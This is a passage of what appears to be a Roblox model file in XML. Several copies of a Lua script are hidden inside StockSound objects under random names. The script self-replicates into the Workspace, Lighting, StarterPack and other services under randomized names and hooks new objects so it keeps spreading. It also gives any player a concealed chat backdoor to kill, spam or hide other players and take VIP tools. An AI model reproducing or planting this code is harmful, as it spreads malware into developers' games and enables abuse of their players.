if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX734">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX735">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">w35uvc2q</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX736">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">vu3ymaj</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX737">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">gcl2hlra</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX738">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">sv1om4</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
